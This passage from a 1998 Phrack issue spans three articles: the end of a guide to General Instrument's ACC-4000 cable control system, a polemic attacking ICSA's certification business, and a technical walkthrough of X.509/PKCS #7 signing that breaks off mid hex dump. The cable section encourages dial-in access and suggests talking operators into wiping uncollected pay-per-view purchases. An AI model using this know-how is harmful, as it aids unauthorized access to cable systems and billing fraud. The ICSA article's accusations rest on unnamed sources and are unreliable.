Terminal is the name of the X‑windows terminal you are connecting from.

Software Version is the release number of the ACC‑4000 software.

Number ANICS Installed is the number of transmission devices installed.

Parallel Data Streams is the number of simultaneous transmissions into the data stream.

List Maintenance is always set to HOST. In the future, General Instruments plans to allow the an ANIC to maintain the list of authorizations.

Number List Maps is the size of the queue between the ACC‑4000 and the ANIC.

Number of Subscriptions is the number of service codes allotted for subscriptions.

1st Subscription Service Code is the first available scrambler tag for descrambling subscriptions.

Number of Simultaneous Events is the maximum number of simultaneous Pay‑Per‑View (PPV) events that can be available at one time.

1st Event Service Code is the first available scrambling tag for Pay‑Per‑View PPV events.

Return Frequency is the transmit frequency used by two‑way set top boxes. The range is normally 8.3 ‑ 10.4Mhz.

Data Stream Baud Rate is the rate of transmission of the data stream.

Data Base Size is the maximum number of set‑top‑boxes the system is configured for.

Converter ID Usage is always set to 32k. This means that 32k set‑top‑boxes can be grouped into a partition.

Groups shows the division of the total number of set‑top‑boxes (data base size) into partitions.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| The Main Menu |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

The Main Menu is the gateway to all other menus and looks something like this:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|MAINMENU | Main Menu of Screen Options | |records found |

|

|.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

||

|| Main Menu of Screen Options ||

||

|| 1. Converters Convs 7. User Information Users || || 2. Services/Schedules Svcs 8. Control System Functions System || || 3. Headend Equipment Headend 9. Reports Reports|| || 4. Converter Types ConvTyp 10. Data Path Configuration DataCfg|| || 5. Data Files Files 11. Message Management MsgMgt || || 6. Business System Gateway Gateway 12. Return to Login Exit ||

||

||

|| Enter Selection:

||

|`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Enter selection number or press function button |

|

| F6:Clear Field F7:Field Help F8:Form Help |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Other Menus |

`‑‑‑‑‑‑‑‑‑‑‑‑‑'

The ACC‑4000 has many other menus that are accessed through the Main Menu. I will not waste time and space here describing these menus. If you gain access to an ACC‑4000, the online help should be sufficient to aid you in using the system.

These menus allow you to perform functions such as:

. Managing set‑top‑boxes

. Managing headend scramblers

. Sending messages to subscribers . Performing opinion polls on subscribers . Configuring available Pay‑Per‑View (PPV) events . Managing purchase data

. Maintaining the ACC‑4000 database . Creating reports

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Converter Types |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

The ACC‑4000 system supports a large number of set‑top‑boxes:

Type Model Name Partition Type

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 DRZ STARCOM II, 400, 500 One‑Way (PROM based)

2 DRZA‑*A, DRZP‑*A STARCOM 450 One‑Way (PROM based, 128 tags) STARCOM 450/P3

3 DRZI*‑*A STARCOM 450/P3 One‑Way (PROM based, 256 tags)

4 DRZI*‑AT STARCOM 450 Two‑Way 5 XT5‑*1* STARCOM V One‑Way 6 XT5‑*2* STARCOM V Two‑Way 7 DRZI*‑*AV STARCOM 450 One‑Way 8 DP*5‑*3* STARCOM VI+ Fone‑Way 9 DL4/DL4A STARCOM V One‑Way 10 DP*5‑*1* STARCOM VI+ One‑Way 11 DP*5‑*2* STARCOM VI+ Two‑Way 12 DPBB‑*1* STARCOM VI+ One‑Way 13 DPBB‑*3* STARCOM VI+ FONE‑Way 14 DPBB‑*2* STARCOM VI+ Two‑Way 15 DP711*, DPV721*, DPV721*/C1 STARCOM 7100/7200 One‑Way

16 DP713*, DPV723*, DPV723*/C1 STARCOM 7100/7200 FONE‑Way

17 DP712*, DPV722*, DPV722*/C1 STARCOM 7100/7200 Two‑Way

18 DPBB7‑*1* STARCOM 7300 One‑Way 19 DPBB7‑*3* STARCOM 7300 FONE‑Way 20 DPBB7‑*2* STARCOM 7300 Two‑Way 21 DPBB‑*1*‑M1 STARCOM VI+ M/S One‑Way 22 DPBB‑*3*‑M1 STARCOM VI+ M/S FONE‑Way 23 DPBB‑*2*‑M1 STARCOM VI+ M/S Two‑Way 24 IDP7, LMDS‑A, MMDS‑A/CT1900 IDP7, LMDS‑A, MMDS‑A/CT1900 One‑Way 25 IDP7, LMDS‑A, MMDS‑A/CT1900 IDP7, LMDS‑A, MMDS‑A/CT1900 FONE‑Way 26 IDP7, LMDS‑A, MMDS‑A/CT1900 IDP7, LMDS‑A, MMDS‑A/CT1900 Two‑Way 27 DCR DCR One‑Way 28 DCR 3000S/4000S DCR One‑Way 30 CFT2000/2100 CFT2000/2100 One‑Way 31 CFT2000/2100 CFT2000/2100 FONE‑Way 32 CFT2000/2100 CFT2000/2100 Two‑Way 33 STARPORT STARPORT One‑Way 34 STARPORT (not implemented) STARPORT FONE‑Way 35 STARPORT (not implemented) STARPORT Two‑Way 36 CFT2200 CFT2200 One‑Way 37 CFT2200 CFT2200 STARFONE FONE‑Way 38 CFT2200 CFT2200 STARVUE Two‑Way 39 CFT2900 CFT2900 One‑Way 40 CFT2900 CFT2900 FONE‑Way 41 CFT2900 CFT2900 Two‑Way 42 Sega Sega One‑Way

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Scrambler Types |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

The ACC‑4000 system supports several different types of scramblers at the headend, including:

STARPACK Service Encoder (SSE)

An older scrambler that scrambles with standby and 6db constant sync‑suppression scrambling modes.

Digital Scrambler/Encoder (DS/E)

An older RF scrambler.

Digital Video/Encoder (DV/E)

An older baseband scrambler, used to further scramble DS/E signals.

Video Processor/Encoder (VP/E)

A DS/E and a DV/E together.

Modulating Video Processor (MVP) and MVPII

A newer scrambler.

Modulating Video Processor (MVP) II‑DIU

A MVPII with a Data Inserter Module (DIM) to enable data insertion.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Scrambling Modes |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

The ACC‑4000 controls scramblers using several modes of scrambling, including:

. Sync Suppression

. Video Inversion

. Audio Inversion

Supported sync suppression submodes are:

. Standby

. Clear, 0db constant

. 6db constant

. 10db constant

. Scene change, 3 seconds

. 6/10 pseudo‑random, 30 seconds

. 6/10 pseudo‑random, 1 minute

. 6/10 pseudo‑random, 16 tics

. 6/10 pseudo‑random, 3 seconds

When using scene change or 6/10 pseudo‑random sync suppression, the ACC‑4000 supports a number of dynamic mode types:

. Pseudo‑random 6/10/clear

. Pseudo‑random 6/clear

. Pseudo‑random 10/clear

. Pseudo‑random 6/10

. Linear 6/10/clear

. Linear 6/clear

. Linear 10/clear

. Linear 6/10

In addition, you can set the interval between dynamic mode time changes in hours, minutes, seconds, or tics.

Supported video inversion submodes are:

. Clear

. Scene change field inversion

. Constant video inversion

. Timed field inversion

Note: Video and audio inversion only work with baseband set‑top‑boxes.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Security Notes|

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

These systems normally have modems for use by both General Instruments personnel and cable company personnel. General Instruments personnel dial in to diagnose problems with the system. Cable company personnel dial in to change Pay‑Per‑View (PPV) programming or to configure customer set‑top‑boxes.

Any uncollected purchases are lost when a set‑top‑box is initialized. To preserve uncollected purchases, the operator will do a Refresh instead of an Initialize. If you can talk the operator into doing an Initialization instead of a Refresh, any uncollected purchases not already forwarded to the billing system will be lost.

Purchases are stored as integers. Older set‑top‑boxes were limited to storing 16 purchases. Newer set‑top‑boxes are limited to storing 63 purchases.

.‑‑‑‑‑‑‑‑‑‑‑‑.

| Conclusion |

`‑‑‑‑‑‑‑‑‑‑‑‑'

If you can access a system such as the ACC‑4000, you can have great fun. Be careful when giving everyone in your city free access to WWF.

‑‑‑‑[ EOF

The International Crime Syndicate Association

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 14 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The International Crime Syndicate Association

‑‑‑‑‑‑‑‑[ Dorathea Demming

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

=

= ICSA =

=

= International Computer Security Association =

=

= or =

=

= International Crime Syndicate Association? =

=

=

= by =

=

= Dorathea Demming =

=

=

=

= (c) Dorathea Demming, October, 1997 =

=

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

This is an article about computer criminals. I'm not talking about the fun loving kids of the Farmers of Doom [FOD], the cool pranksters of the Legion of Doom [LOD], or even the black‑tie techno terrorists of The New Order [TNO]. I'm talking about professional computer criminals. I'm talking about the types of folks that go to work every day and make a living by ripping off guileless corporations. I'm talking about the International Computer Security Association [ICSA]. The ICSA has made more money off of computer fraud than the other three organizations mentioned above combined.

ICSA was previously known as National Computer Security Association [NCSA]. It seems that they finally discovered that there are networks and gullible corporations in countries other than the United States.

In this article I will inform you of the cluelessness and greed of ICSA. Instead of telling you, I will let them tell you in their own words.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Lets look at what the NSCA has to say about it's history:

"the company was founded in 1989 to provide independent and objective services to a rapidly growing and often confusing digital security marketplace through a market‑driven, for‑profit consortium model."

This is where the ICSA differs from real industry organizations like the IEEE. Non‑profit organizations like the IEEE can provide independent and objective services, for‑profit organizations like ICSA cannot be trusted to do so. The goal of the NSCA is profit, nothing more and nothing less.

Profit is a desirable goal in a business. However, the ICSA pretends to be an industry association. This is a complete and total fabrication. ICSA is not an industry association ‑‑ it is a for‑profit enterprise that competes for business directly with the companies it pretends to help.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's look at the ICSA's knowledge of computer security:

"Early computer security issues focused on virus protection. "

This is where the ICSA accidentally informs us if their true history. No one with half of a clue would claim that "Early computer security issues focused on virus protection." In reality, early computer security issues focused on the protection of mainframe systems. Virus protection did not become a concern until the 1980's. We can only conclude that no one at the ICSA has a background in computer security outside of personal computer security. These folks seem to be Unix illiterate ‑‑ not to speak of VM, MVS, OS/400, AOS/VS, VMS or a host of other systems where corporations store vast amounts of data. Focusing primarily on PC security will not benefit the overall security posture of your organization.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's look at another baseless claim of the ISCA:

"ICSA consortia facilitate an open exchange of information among security industry product developers and security service providers within narrow, but well defined segments of the computer security industry."

According to the "security industry product developers and security service providers" that I have spoken with, this is complete hogwash. The word on the street is that the ICSA folks collect information and then give nothing useful in return. My response is "How could they?" No one at ICSA has any information to offer. You would do as well to ask your 12 year old daughter for information about computer security ‑‑ and you might even do better, if your daughter reads Phrack.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's look at what the ICSA has to say about their Web Certification program:

"The ICSA Web Certification materially reduces web site risks and liability for both operator and visitor by providing, verifying and improving the use of logical, physical and operational baseline security standards and practices."

"Comprised of a detailed certification field guide, on‑site evaluation, remote test, random spot checks, and an evolving set of endorsed best practices, ICSA certification uniquely demonstrates management's efforts to assure site availability, information protection, and data integrity as well as enhanced user confidence and trust."

What really happens is that ICSA sends out a reseller to your site. The reseller then asks you if you have set up your site correctly. You tell the reseller that you have, and then the reseller tells ICSA that you have set up your site correctly. Very few items are actually verified by the reseller. ICSA then runs ISS (Internet Security Scanner) against your web server. If ISS cannot detect any security vulnerabilities remotely, you receive ICSA Web Certification.

For grilling your staff with a series of almost meaningless questions, the reseller receives $2,975 US dollars. For running ISS against your web server, ICSA receives $5,525. For $19. 95, you can buy a copy of Computer Security Basics by Deborah Russell and G.T. Gangemi Sr. (ISBN:0‑937175‑71‑4) and save your company almost $8,500.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's look at the ICSA's Reseller Training:

ICSA states that every reseller that delivers their product is trained in computer security. In practice, however, this training is actually _sales_ training. The ICSA training course lasts for less than one day and is supposed to be conducted by two trainers, one sales person and one technical person. One recipient of this training told me that the technical person did not bother to show up for his training, while another recipient of this training told me that ICSA instead sent _two_ sales people and _no_ technical people to his training.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's look at what ICSA says about change in the "digital world" of firewalls:

"The digital world moves far too quickly to certify only a particular version of a product or a particular incarnation of a system. Therefore, ICSA certification criteria and processes are designed so that once a product or system is certified, all future versions of the product (or updates of the system) are inherently certified."

What does this mean to you? It means that ICSA is certifying firewalls running code that they have never seen. It means that if you purchase a firewall that has been ICSA certified ‑‑ you have no way of knowing if the version of the firewall product that is protecting your organization has ever been certified.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's look at how ICSA defends itself from such allegations? ISCA has three ready made defenses:

"First, the ICSA gains a contractual commitment from the product vendor or the organization that owns or runs the certified system that the product or system will be maintained at the current, published ICSA certification standards. "

So that's how ICSA certification works, the firewall vendors promise to write good code and ICSA gives them a sticker. This works fine with little children in Sunday school, but I wouldn't trust the security of my business to such a plan.

"Secondly, ICSA or it's authorized partners normally perform random spot checking of the current product (or system) against current ICSA criteria for that certification category. "

Except, of course, that an unnamed source within ICSA itself admitted that these spot checks are not actually being done. That's right, these spot checks exist only in the minds of the marketing staff of the ICSA. ICSA cannot manage to cover the costs of spot checking in their exorbitant fee structure. They must be spending the money instead on all of those free televisions they are giving away to their resellers.

"Thirdly, ICSA certification is renewed annually. At renewal time, the full certification process is repeated for the current production system or shipping products against the current criteria. "

Well here we have the final promise ‑‑ our systems will never out of certification for more than 364 days. If our firewall vendor ships three new releases a year ‑‑ at least one of them will go through the actual ICSA certification process. Of course, all of them will have the ICSA certification sticker.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's looks at what ICSA has to say about their procedures:

"The certification criteria is not primarily based on fundamental design or engineering principles or on an assessment of underlying technology. In most cases, we strive to use a black‑box approach. "

Listen to what they are really saying here. They are admitting that their certification process does not deal with "fundamental design or engineering principles" or on an "assessment of underlying technology". What else is left to base a certification upon? Do they certify firewalls based upon the firewall vendors marketing brochures? Upon the color of their product boxes? Upon the friendliness of their sales staff? Or maybe they just certify anyone who gives them money.

When you are clueless, every computer system must look like a "blackbox" to you.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's look at how the ICSA web certification process deals with CGI vulnerabilities:

"The Site Operator attest that CGIs have been reviewed by qualified reviewers against design criteria that affect security. " (sic)

Let's take a close look at this. The #1 method of breaking into web servers is to attack a vulnerable CGI program. And the full extent that the ICSA certification deals with secure CGI programming is to have your staff attest that they have done a good job. What sort of employee would respond "Oh no, we haven't even looked at the security of those CGI bins?" The ICSA counts on employees trying to save their jobs to speed the certification process along to it's conclusion.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's look at what ICSA has to say about it's own thoroughness:

"Because it is neither practical nor cost effective, ICSA does not test and certify every possible combination of web sites on a web server at various locations unless requested to, and compensated for, by Customer. "

We all know that security is breached at it's weakest link, not it's strongest. If we choose to certify only some of our systems, we can only assume that attackers will them simply move on and attack our unprotected systems. Perhaps if ICSA did not attempt to extort $8,500 for a single web server certification, more customers could have all of their web sites certified.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's look at how much faith ICSA puts in their own certifications:

"Customer shall defend, indemnify, and hold ICSA harmless from and against any and all claims or lawsuits of any third party and resulting costs (including reasonable attorneys' fees), damages, losses, awards, and judgements based on any claim that a ICSA‑certified server/site/system was insecure, failed to meet any security specifications, or was otherwise unable to withstand an actual or simulated penetration.

In plain English, they are saying that if you get sued, you are on your own. But wait, their faithlessness does not stop there:

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's look at how the ICSA sees it's legal relationship with it's customers:

"Customer, may, upon written notice and approval of ICSA, assume the defense of any claim or legal proceeding using counsel of it's choice. ICSA shall be entitled to participate in, but not control, the defense of any such action, with it's own counsel and at it's own expense: provided, that if ICSA, it its sole discretion, determines that there exists a conflict of interest between Customer and ICSA, ICSA shall have the right to engage separate counsel, the reasonable costs of which shall be paid by the customer. "

What you, the customer, agree to when you sign up for ICSA certification is that you cannot even legally defend yourself in court until you have "written notice and approval of ICSA. " But it's even worse that that, ICSA then reserves the right to hire lawyers and bill YOU for the expense if it feels that you are not sufficiently protecting it's interests. Whose corporate legal department is going to okay a provision like this?

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Let's look at how much the ICSA attempts to charge for this garbage:

================================

| Web Certification |

|

| 1 Server $8,500 |

| 2‑4 Servers $7,650 |

| 5 or more Servers $6,800 |

|

| 6‑10 DNS $ 495 |

| 11 or more DNS $ 395 |

|

| Perimeter Check

|

| up to 15 Devices $3,995 | | additional groups of 10 Devices $1,500 | | bi‑monthly reports $1,000 | | monthly reports $3,500 |

|

| War Dial

|

| first 250 phone lines $1,000 | | additional lines $3/line |

|

| Per Diem

|

| Domestic $ 995 |

| International $1,995 |

|

================================

Certifying one web server will cost you $8,500. I have seen small web servers purchased, installed, and designed for less than that amount.

If you tell the ICSA that you have 15 network devices visible on the Internet and they discover 16 devices, they will bill you an additional $1,500. This is what you agree to when you sign a ICSA Perimeter Check contract. In effect, when you sign up for an ICSA Perimeter Check, you are agreeing to pay unspecified fees.

To dial an entire prefix the ICSA will charge you $30,250. I wonder if these folks are using ToneLoc. I wonder if these fools are even using modems...

I will leave judgement on the per diem rates to the reader. How much would you pay for a clown to entertain at your daughters birthday party? Would you give the clown a daily per diem of $995? Why would you feel the ICSA clowns might deserve better? How do you spend $995 a day and still manage to put in some work hours?

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

These are just a few excerpts from some ICSA documentation I managed to get my hands on. I do not feel my assessment has been any more harsh than these people deserve. I am certain that if I had more of their literature, there would be even more flagrant examples of ignorance and greed.

ICSA feeds on business people who are so ignorant as to fall for the ICSA propaganda. By masquerading as a legitimate trade organization, they make everyone in the data security industry look bad. By overcharging the clientele, they drain money from computer security budgets that could better be spent on securing systems and educating users. By selling certifications with no actual technical validity behind them they fool Internet users into a false sense of security when using e‑commerce sites.

ISCA is good for no one and it is good for nothing.

Dorathea Demming

Mechanicsburg, PA

10 Oct, 1997

‑‑‑‑[ EOF

Digital Certificates

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 15 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Technical Guide to Digital Certification

‑‑‑‑‑‑‑‑[ Yggdrasil

Introduction

~~~~~~~~~~~~

Today's software technology provides not only flexible controls for web pages and complex remote interaction (ActiveX controls, Java applets and Netscape plugins) but also offers the possibility of downloading pieces of code for local execution to extend browsers capabilities. A major issue being the fact that this code cannot be initially distinguished from malicious code (virii/trojans, "man in the middle" attacks, forced downgrade, forgery of electronic documents, etc), disguised as utilities.

The point is that end users do not know who published of a piece of software, if the code has been tampered with, and what that software will do, (until they download and execute it). Anyone can create plugins, applets or controls containing this potentially destructive code or even "intelligent" malevolent code, able to communicate covertly with a remote server.

Public‑key cryptography has produced a number of different implementations to verify the authenticity of software, network objects, documents and data transactions (for example, Electronic Funds Transfer) using Digital IDs.

Authenticode Certifications

~~~~~~~~~~~~~~~~~~~~~~~~~~~

Microsoft recently adopted Authenticode technology to sign their ActiveX based software. Any individual or commercial software publisher desiring their code to be "trusted" must apply for and receive a Digital Certificate from an Authenticode Certificate Authority (CA), such as VeriSign. The CA will request proof‑of‑identity, and other information, only then will they verify the publishers credentials (even employing Dun & Bradstreet rating). After the CA has decided that the publisher meets its policy criteria, it releases a Certificate (the expected cost is about $500 for a year, plus additional costs for hardware storage for commercial developers, up to $12,000).

[ God save the next‑generation developers. ]

A Digital Certificate contains the publishers public‑key (and other info) encrypted according to the industry standard X.509 V3 certificate format and PKCS #7 signed data standards.

The ITU‑T recommendation for X.509 states that:

"It would be a serious breach of security if the CA issued a certificate for a user with a public key that had been tampered with."

All Certificates have an expiration time, but the CA may revoke them prior to that time if a publisher's private‑key or CA's certificate is assumed to be compromised. The CA may (or may NOT) inform the owner of the certificate.

Revocation Lists

~~~~~~~~~~~~~~~~

The Revocation Lists, also called "black‑lists", are held within entries as attributes of types CertificateRevocationList and AuthorityRevocationList.

Their attribute types are defined as follows:

certificateRevocationList ATTRIBUTE ::= {

WITH SYNTAX CertificateList

EQUALITY MATCHING RULE certificateListExactMatch

ID id‑at‑certificateRevocationList }

authorityRevocationList ATTRIBUTE ::= {

WITH SYNTAX CertificateList

EQUALITY MATCHING RULE certificateListExactMatch

ID id‑at‑authorityRevocationList }

CertificateList ::= SIGNED { SEQUENCE {

version Version OPTIONAL,

signature AlgorithmIdentifier, <‑‑‑‑+

issuer Name,

thisUpdate UTCTime,

nextUpdate UTCTime OPTIONAL, version 2 revokedCertificates SEQUENCE OF SEQUENCE { only userCertificate CertificateSerialNumber, (extension)

revocationDate UTCTime, |

crlEntryExtensions Extensions OPTIONAL } OPTIONAL, | crlExtensions [0] Extensions OPTIONAL }} <‑‑‑‑+

Implementation of X.509‑3

~~~~~~~~~~~~~~~~~~~~~~~~~

The ITU‑T X.509 Directory Specification makes use of a set of cryptographic systems known as asymmetric Public‑Key Crypto‑Systems (PKCS). This system involves the use of two keys (one secret and one public as used in common public key packages like PGP).

Both keys can be used for encoding: the private key to decipher if the public key was used, and vice versa (Xp*Xs = Xs*Xp, where Xp/Xs are the key‑encoding/decoding functions).

When applied to Digital Signatures, the public key encryption is used to encipher the data to be signed after it's passed through a hash function. Information is signed by appending to it an enciphered summary of the info. The summary is produced by means of a one‑way hash function, while the enciphering is carried out using the private key of the signer.

For further information about X.509 and certificate types please read the ITU‑T Recommendation X.509 ("The Directory: Authentication Framework").

Windows Trust API

~~~~~~~~~~~~~~~~~

To ascertain an objects reliability under Win32, the WinVerifyTrust() API function is used, according to its prototype as follows:

HRESULT ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Description ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WINAPI

WinVerifyTrust (

HWND hwnd, <>0 to allow user to assist in trust decision DWORD dwTrustProvider, 0 = provider unknown, 1 = software publisher DWORD dwActionID, specifies what to verify

LPVOID ActionData information required by the trust provider )

The HRESULT return code will be TRUST_E_SUBJECT_NOT_TRUSTED if the object is not trusted (according to the specified action in dwActionID). An error code more detailed than this could be provided by the trust provider.

Creation of a Digitally Signed message

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PKCS #7 specifies several "types", such as ContentInfo, SignedData and SignerInfo. Version 1.5 of PKCS #7 describes the ContentInfo type as:

ContentInfo ::= SEQUENCE {

contentType ContentType,

content

[0] EXPLICIT ANY DEFINED BY contentType OPTIONAL }

ContentType ::= OBJECT IDENTIFIER

the content is (or better: MAY be) an octet‑stream ASCII string to be passed to the selected digest algorithm (an example is MD2, see RFC‑1321).

The first step is to encode the ContentInfo field according to PKCS #7. This is the resulting encoded data:

== DATA BLOCK #1 ==

{30 28} 06 09 0x0609: contentType = data

2A 86 48 86 F7 0D 01 07 01 PKCS #7 data‑object ID

A0 1B [0] EXPLICIT

04 [msg_len] content = OCTET STRING

[octet stream representing

the ASCII string, msg_len bytes long] <‑‑ value (*)

This (*) data is the input stream to the encoding algorithm (MD2 or other):

(the identifier of the PKCS #7 data object is {1 2 840 113549 1 7 1})

== DATA BLOCK #2 ==

{30 20} 30 0C 0x300C: digestAlgorithm

06 08 2A 86 48 86 F7 0D 02 02 algorithm ID = MD2

05 00 parameters = NULL (0x00)

04 [block_len] digest

[encoded data (MD2 output)]

(the object identifier of the MD2 algorithm is {1 2 840 113549 2 2})

This data is the encoded DigestInfo. It will be encrypted under RSA using the user's private key.

According to PKCS #1, RSA encryption has two main steps: an encryption data block is constructed from a padding string and the prefixed message digest; then the encryption block is exponentiated with the user's private key.

The encryption block EB is the following 64‑octet string:

00 01 block type

FF FF FF FF FF FF FF FF FF FF FF FF FF FF padding string

FF FF FF FF FF FF FF FF FF FF FF FF FF

00 separator (0x00)

[here goes the whole DATA BLOCK #2] data bytes (prf. message digest)

Now we need to encode various information: a SignedData value from the inner ContentInfo value, then the encrypted message digest, the issuer and serial number of the user's certificate, the certificate data, the message digest algorithm ID (MD2) and the encryption algorithm ID (PKCS #1 RSA).

The encoded SignedData is:

== DATA BLOCK #3 ==

30 82 02 3D

02 01 01 version = 1

31 [size of inner data block] digestAlgorithms

30 [size]

06 08 2A 86 48 86 F7 0D 02 02 algorithm ID = MD2

05 00 parameters = NULL (0x00)

[ContentInfo data] content = inner ContentInfo

A0 82 01 [size] certificates

[certificate data] user's certificate

31 81 [size] signerInfos

30 81 [size]

02 01 01 version = 1

30 [size] issuerAndSerialNumber

[issuer data] issuer

02 04 {12 34 56 78} size (4), serialNumber (12345678) 30 [alg_size] digestAlgorithm 06 08 2A 86 48 86 F7 0D 02 02 algorithm ID = MD2

05 00 parameters = NULL (0x00)

30 [dig_size] digestEncryptionAlgorithm 06 [sz] rsaEncryption (d.E.A.) 2A 86 48 86 F7 0D 01 01 01

05 00 parameters = NULL (0x00)

04 [data_size] encryptedDigest [encrypted digestInfo encoded data block]

Finally, a ContentInfo value from this SignedData data block is encoded (once again, using PKCS #7):

30 82 02 [size]

06 09 2A 86 48 86 F7 0D 01 07 02 contentType = signedData A0 82 02 [size] [0] EXPLICIT [here goes the whole DATA BLOCK #3] content = SignedData value

(the object identifier of PKCS #7 signedData is {1 2 840 113549 1 7 2})

PKCS Key Example

~~~~~~~~~~~~~~~~

The following is the full hex dump of the above PKCS #7 encoded key.

HEX Dump ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑: ASCII Dump ‑‑‑‑:

30 82 02 50 06 09 2A 86 48 86 F7 0D 01 07 02 A0 0..P..*.H....... 82 02 41 30 82 02 3D 02 01 01 31 0E 30 0C 06 08 ..A0..=...1.0... 2A 86 48 86 F7 0D 02 02 05 00 30 28 06 09 2A 86 *.H.......0(..*. 48 86 F7 0D 01 07 01 A0 1B 04 19 41 20 64 65 6D H..........A dem 6F 20 43 6F 6E 74 65 6E 74 49 6E 66 6F 20 73 74 o ContentInfo st 72 69 6E 67 A0 82 01 5E 30 82 01 5A 30 82 01 04 ring...^0..Z0... 02 04 14 00 00 29 30 0D 06 09 2A 86 48 86 F7 0D .....)0...*.H... 01 01 02 05 00 30 2C 31 0B 30 09 06 03 55 04 06 .....0,1.0...U.. 13 02 55 53 31 1D 30 1B 06 03 55 04 0A 13 14 45 ..US1.0...U....E 78 61 6D 70 6C 65 20 4F 72 67 61 6E 69 7A 61 74 xample Organizat 69 6F 6E 30 1E 17 0D 39 32 30 39 30 39 32 32 31 ion0...920909221 38 30 36 5A 17 0D 39 34 30 39 30 39 32 32 31 38 806Z..9409092218 30 35 5A 30 42 31 0B 30 09 06 03 55 04 06 13 02 05Z0B1.0...U.... 55 53 31 1D 30 1B 06 03 55 04 0A 13 14 45 78 61 US1.0...U....Exa 6D 70 6C 65 20 4F 72 67 61 6E 69 7A 61 74 69 6F mple Organizatio 6E 31 14 30 12 06 03 55 04 03 13 0B 41 20 64 65 n1.0...U....A de 6D 6F 20 55 73 65 72 30 5B 30 0D 06 09 2A 86 48 mo User0[0...*.H 86 F7 0D 01 01 01 05 00 03 4A 00 30 47 02 40 0A .........J.0G.@. 66 79 1D C6 98 81 68 DE 7A B7 74 19 BB 7F B0 C0 fy....h.z.t..... 01 C6 27 10 27 00 75 14 29 42 E1 9A 8D 8C 51 D0 ..'.'.u.)B....Q. 53 B3 E3 78 2A 1D E5 DC 5A F4 EB E9 94 68 17 01 S..x*...Z....h.. 14 A1 DF E6 7C DC 9A 9A F5 5D 65 56 20 BB AB 02 ....|....]eV ... 03 01 00 01 30 0D 06 09 2A 86 48 86 F7 0D 01 01 ....0...*.H..... 02 05 00 03 41 00 45 1A A1 E1 AA 77 20 4A 5F CD ....A.E....w J_. F5 76 06 9D 02 F7 32 C2 6F 36 7B 0D 57 8A 6E 64 .v....2.o6{.W.nd F3 9A 91 1F 47 95 DF 09 94 34 05 11 A0 D1 DF 4A ....G....4.....J 20 B2 6A 77 4C CA EF 75 FC 69 2E 54 C2 A1 93 7C .jwL..u.i.T...| 07 11 26 9D 9B 16 31 81 9B 30 81 98 02 01 01 30 ..&...1..0.....0 34 30 2C 31 